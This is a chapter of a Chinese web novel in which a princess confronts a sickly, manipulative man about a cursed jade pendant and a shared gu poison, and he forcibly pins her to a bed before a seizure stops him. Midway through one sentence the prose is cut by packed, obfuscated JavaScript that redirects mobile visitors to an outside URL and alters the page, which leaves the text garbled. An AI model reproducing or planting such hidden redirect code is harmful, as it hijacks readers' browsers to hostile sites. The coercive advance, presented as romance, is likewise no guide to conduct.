白行也牵马转身,长靴踏在泥水里哗啦有声:“不知道你看见没有,这么冷的雨,这么稀烂的泥,她走之前,对着我兄长……对着这些战死的士兵,行了正拜之礼。” 86. 留痕 晏泠音一路纵马,走得飞快,甚至没顾得上等白詹两人。雨下大了,砸在面上、刺进肌肤,比刀子还冷,她却似无所觉。不知是不是因她身上太凉,怀中的玉佩贴着胸口,变得越来越烫,她愈是想不去在意,就愈是难以忽视。 她随身携带了多年、奉为珍宝之物,竟然早就中了咒诅。她很难不怀疑,身边是否还埋藏着其他毒物,在她毫无所觉时已经紧紧缠上了她? 詹士伦声称寒流是解咒的关键,他的话有几分可信?即便他猜对了,事情也不可能这样简单,她在宛京、在白水河、在受生谷,皆曾携玉佩入水,照詹士伦所说,术法分明早该失效了。 晏泠音竭力让自己镇定。她深知自己学到的巫术不过九牛一毛,如果妄动玉佩,只怕非但解不开术法,反而会打草惊蛇,伤到己身。 况且往好处想,带着这块玉于她并非全无益处,就像在蔚州的那一夜,她临危将死之时,还能借此留下一条命。但夫人的意图究竟是什么?仅仅是让她和苏觅互相“牵制”这么简单吗? 苏觅,又在这场局中扮演了什么角色? 他是否早就知道此事,甚至就是因此才开始接近她? 晏泠音在府门前跃身下马。斗笠不知何时跑丢了,她被淋得狠,满头是水,把立在门边张望的阿承惊了一跳。他“殿下”二字还没出口,晏泠音已绕过他,大步跨进了门。 阿承如梦初醒,转身跟上去道:“刚给公子煮了姜汤,殿下也喝一碗罢,暖暖身子。” 晏泠音看他一眼。不知为何,阿承总觉得那眼神有点凉,也有点陌生,好像同他隔着一层。 好在晏泠音开口时,话音和语气都还如常:“你家公子呢?” “就歇在拨给他的那间屋内……殿下!”阿承见她口中关怀,脚下却并不停留,似是要直接回房,赶忙道,“公子不叫旁人近身,但他自昨夜便没用过饭,只是一味地睡,脸色也差得很,我实在担心。” “去请崔姑娘罢,”晏泠音淡淡道,“别耽误了病情。” 阿承被噎住了。他虽然有点楞,但到底不傻,听出了晏泠音和苏觅之间怕是有什么不对。他家公子撂下那没头没尾的命令就闭眼不管了,但话里话外的意思,是要阿承替他来晏泠音面前卖乖,更直白地说,卖惨。 如果没卖到位,他入蜀的那一趟差事恐怕也不必跑了。 阿承硬着头皮继续道:“原不该拿这事来烦殿下,但公子的脾气,殿下也是知道的,他吩咐了不让叫大夫,我们做侍卫的就是再忧心,也不敢擅作主张。公子一向都肯听殿下的话,如果殿下能移步去看他一眼,劝他两句,或许他就想通了。” 他说得牙酸,自己都有点脸红,一抬头对上晏泠音毫无波澜的目光,不觉心里忐忑起来:“我关心则乱,胡言乱语扰到殿下……殿下就当我没说过……” “行了。”晏泠音揉了下额角,从齿缝里挤出几个字,“你领我过去罢。” 苏觅葫芦里卖的什么药,她虽然不知,却也能猜个大概。那人定然已经听说了她带詹士伦出城之事,这么急着找她,是要帮她想清楚,还是怕她想清楚? 见一面也好,眼下线索纷乱,不如听听他能怎么编。 临进门前,晏泠音拍了拍阿承的肩膀:“逐风阁在前此一战中有功,将军破例准许你们留在城内,但身在泾州,行事还是得低调些,不要总是飞檐走壁地到处跑,更不要动我的人。” 她把最后三个字念得相当清晰,没等阿承反应过来,已经一步跨入屋内,反手掩了门。 烛光微弱,一室药气未散。苏觅暂住的这间屋子坐南朝北,终日难见阳光,阴风倒是争先恐后地往里灌,站在屋里,竟觉比屋外还冷。晏泠音扫了眼早已熄掉的炭盆,目光又落到床边的两块绢帕上。帕子素白,斑驳地沾着刚被咳出来、还未暗沉的血。榻上的人一手搭在眼上,一手垂在榻边,像是真的陷在沉睡中,毫无所觉。 “公子若执意不醒,”晏泠音客客气气地换回了“公子”的称呼,“我便走了。” 苏觅垂落的手蜷了一下,没说话,偏头咳了起来。 不得不说,那人用苦肉计是真有一套,晏泠音冷眼看着,见他咳得几乎要背过气去,倒不似作假。 “没炭了,就让阿承去买,”晏泠音轻踢了下脚边的炭盆,“你有银子养活偌大一个逐风阁,却没银子给自己生火?” “何必费这个钱,”苏觅气若游丝道,“将死之人,还是消停些好。” 他说得凄凉,几乎把晏泠音听笑:“公子思虑得如此周全,想来连身后事都替自己安排好了罢?” “一把朽骨,烧了便是,”苏觅也不知吃错了什么药,竟顺着她说了下去,“我作恶多端,入土怕是难安,须得散在风中水中,叫人无从看见,便也无从想起。” 音落,他缓慢地转过脸来,放下了原本遮住双眼的手。他肤色极白,瞳孔却极黑,眉心的朱砂痣本是鲜红灼目的色泽,今日却失了血色,暗淡下来。他整个人成了一幅灰败的水墨,那艳丽至极的容颜像是凝在了灰蒙蒙的画纸上,薄薄一层,风一吹便会被撕裂。 与他对视的那一瞬,晏泠音几乎寒毛倒竖。她在苏觅身上感觉不到半分活气,若非他仍那样看着她——那样近于含情脉脉、充满温情地看着她,她会以为他已经死了。 那双狐狸眼中存留了他周身唯一一点温度,浓墨似的缱绻黏稠翻卷,似是条汹涌的暗河,毫不掩饰地流向她。 晏泠音想退,却仍是迫着自己,迎着他的目光上前一步。 “我先前问过公子,”她冷静道,“是真的不怕死么?那日公子的答案让我不甚满意,我想听你认真答一次。” “我同殿下说过的话,每一句我都记得,每一句都是认真的。”苏觅撑坐起身,动作有些僵硬,双眼却仍一眨不眨地看着晏泠音,“既然殿下想听,我便说得更清楚些。遇到殿下之前,我不惧死,认识殿下之后,我更觉死又何妨。只我心高气傲,不甘心败在旁人手里,只求殿下垂怜,能亲手送我一程。” 他的发散在肩头,半遮半掩地挡住了那张祸国殃民的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809292|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只余下唇角微扬的弧度:“阿音,我要你记住我。待日后我在这世上再无痕迹时,你的心里还有我一席之地,那便足矣。” 晏泠音从怀中摸出玉佩,三两下将上面的绳结解开,掷给了苏觅。他下意识抬手接住,怔了一瞬,眸中忽然闪过一丝微妙的戾色。 “这样的‘痕迹’,”晏泠音又上前一步,垂眼看他,“公子也要毁掉吗?” 她语气未变,声音却已带了怒意:“你还有多少事情瞒着我?” 下一刻天旋地转,原本木僵一样的苏觅忽然变得灵活异常,倾身拽住了她的手。她被一股不可思议的大力压在榻上,一时竟挣脱不得,只能紧咬着唇用力转过头去。 “苏觅……嘶……” 她身上的人遍体寒凉,没有一处是热的。带着淡淡血腥气的唇落在她颈间,只一个触碰便让她瑟缩起来。 “我都告诉你,”苏觅扣住她的双手,沿着她被迫仰起的脖颈流连向下,冰得她倒抽了口凉气,“阿音,你会原谅我吗?” “放手,”晏泠音嗓子发哑,狠声道,“不要逼我恨你。” 苏觅低声笑了起来:“只有这样你才会听我说话,才会真正把我的话听进心里。你太傲慢了,殿下,你对我太残忍。” 晏泠音浑身都在抖,不是怕的,而是气的。苏觅或轻或重地撩拨着她,偏偏每一下都恰到好处,几乎刺出了她的眼泪。她的身体发软发麻,难受得要命,拼力咬唇让自己保持清醒,在泪眼朦胧里又对上了苏觅的视线。那双眼眸里的温情已如潮褪去,取而代之的是近于虔诚的疯狂。 他的眸中有血光。 “阿音……” 可是下一瞬,苏觅的声音突兀地断了,就像一簇火苗被狠狠掐灭。他整个人都蜷缩起来,冷汗骤出,睫毛上迅速凝了层水汽。他眸中赤色未散,却已有痛意浮现上来,那张艳似桃李的脸顷刻间变得更加灰败,唇色竟比脸色更加苍白。 “抱歉,殿下,”他发已被汗浸透,却还竭力稳着声线,“我发病时神志不清,偶有控制不住的时候……抱歉。” 晏泠音拉好衣襟踉跄下榻,看也没看他,疾步往门边走。苏觅在她身后忽然抬高了声音:“我知殿下为何而来,生死蛊……我还未找到彻底破解之法,但我保证,殿下,日后即便我死了,你也能安然独活。” 他痛得呼吸断续,一字一字都是挤出来的:“我已经毁掉了殿下的玉佩,殿下身上的那一块,原本是我的。你再不会负担我的性命,也再没有人能用它来伤害你……生死蛊发作时头痛欲裂生不如死……但是别怕,阿音,我替你担着。” 晏泠音在他的几句话里心神接连巨震。她倚门回首,看向已陷在被中的苏觅。他用手肘压着额角,却仍疼得面目扭曲,浑身发颤。那是头疾,晏泠音能感觉到,那就是在她身上曾两度发作、令她痛不欲生的古怪头疾。至今她都不知它因何而起,更不知它为何消失。 苏觅朝她露出一个微弱的笑。 “我只要一点点的报偿,”他哑声道,“记住我罢。”